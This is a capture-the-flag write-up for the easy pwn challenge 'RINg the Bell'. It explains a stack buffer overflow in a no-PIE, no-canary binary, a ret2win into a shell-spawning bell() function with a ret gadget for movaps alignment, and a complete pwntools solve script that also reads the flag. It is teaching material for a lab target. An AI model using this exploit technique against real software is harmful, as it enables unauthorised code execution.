RINg the Bell
RINg the Bell
Platform: CACTF2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: ret2win, stack_overflow, movaps_alignment_ret_gadget
Summary
Task: NO-PIE/NO-canary x86-64 ELF reads 0x60 bytes into a 0x20 stack buffer, a classic stack overflow. Solution: ret2win overflowing the saved return address into bell() which calls execl("/bin/sh"), prepending a bare ret gadget for 16-byte movaps stack alignment.
RINg the Bell — CACTF2026
Description
Rin has to distract the gate garrison. The plan is simple: ring the bell tower alarm — three short tolls, a pause, then two long ones. The pattern will draw the guards away from their posts. Ring the bell.
The bell-pattern/timing narrative is pure flavor: there is no timing or
pattern-matching logic in the binary. "Ring the bell" is a literal hint —
the goal is to call the bell() function, which spawns a shell (a ret2win).
Given: a 64-bit ELF executable ring_the_bell and a remote instance
(154.57.164.67:32155). Goal: obtain a shell and read the flag.
Recon
File and mitigations:
- ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped, GCC (Ubuntu 13.3.0), GLIBC 2.34.
- NO PIE → fixed addresses in the
0x40xxxxrange. - NO stack canary → straightforward saved-RIP overwrite.
- NX enabled (irrelevant here; ret2win reuses existing code).
Interesting imports: read, execl, alarm, usleep, printf, puts.
Non-stripped symbols: main, setup, info, success, fail, bell,
read_num, printstr, cls, banner.
The presence of a symbol named bell in a challenge titled "RINg the Bell"
strongly signals the ret2win target.
Vulnerability
Root cause in main:
- Local buffer at
rbp-0x20→ 32 (0x20) bytes, zero-initialized. read(0, rbp-0x20, 0x60)reads up to 0x60 = 96 bytes into that 32-byte buffer → classic stack buffer overflow.
Offset from buffer start to the saved return address:
0x20 (buffer) + 0x08 (saved RBP) = 40 bytes
So 40 bytes of padding land the next 8 bytes exactly on the saved RIP.
Win path
bell() @ 0x40176d calls:
c read-only • copy allowedexecl("/bin/sh", "sh", NULL);
Relevant rodata strings:
0x402062="/bin/sh"0x40205f="sh"
Calling bell() therefore spawns /bin/sh. This is the ret2win target.
Exploitation
Payload layout:
b"A"*40 + p64(0x40101a) + p64(0x40176d)
b"A"*40— padding to reach the saved return address.p64(0x40101a)— a bareretgadget (in_init). It realigns the stack to a 16-byte boundary so the SSEmovapsinstructions used internally byexecldo not fault (#GP) on unaligned memory.p64(0x40176d)— address ofbell(), the win function.
Steps:
- Connect to the remote instance.
recvuntil b"[Rin]:"(the input prompt).- Send the payload + newline.
mainreturns → alignedret→bell()→execl("/bin/sh", ...)→ shell.- Interact:
uid=999(ctf); the flag is at/home/ctf/flag.txt(found viafind).
movaps alignment note
When the win function (or a libc call it makes, such as execl/system) uses
SSE-aligned moves (movaps), RSP must be 16-byte aligned at the call boundary.
A single extra saved-RIP entry offsets alignment by 8 bytes; inserting one bare
ret gadget before the win address corrects it. If the shell fails to spawn on
a ret2win into a libc-calling function, this alignment fix is the first thing to try.
Solve script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys, time context.arch = 'amd64' BELL = 0x40176d # execl("/bin/sh","sh",NULL) RET = 0x40101a # bare `ret` gadget for 16-byte movaps alignment OFFSET = 40 # 0x20 buffer + 8 saved rbp io = remote(sys.argv[1], int(sys.argv[2])) payload = b"A" * OFFSET payload += p64(RET) payload += p64(BELL) io.recvuntil(b"[Rin]:", timeout=5) io.send(payload + b"\n") time.sleep(1) io.send(b"cat /home/ctf/flag.txt\n") print(io.recvrepeat(3).decode(errors='replace')) io.interactive()
Run:
python3 solve.py 154.57.164.67 32155
Takeaways
Use this ret2win approach when:
- A
read/input call has a length larger than the destination stack buffer (here0x60into0x20) — the read-size vs buffer-size mismatch is the tell. - The binary is NO PIE and NO canary, giving fixed addresses and a clean saved-RIP overwrite.
- A non-stripped function is named after the challenge theme (
bellfor "ring the bell") and callsexecl/system— that is your win target. - The shell fails to spawn on the first try: prepend a bare
retgadget to fix 16-bytemovapsstack alignment before the win function.
The narrative wordplay ("ring the bell") pointed directly at the bell()
function name; the bell-pattern timing story was a red herring with no code behind it.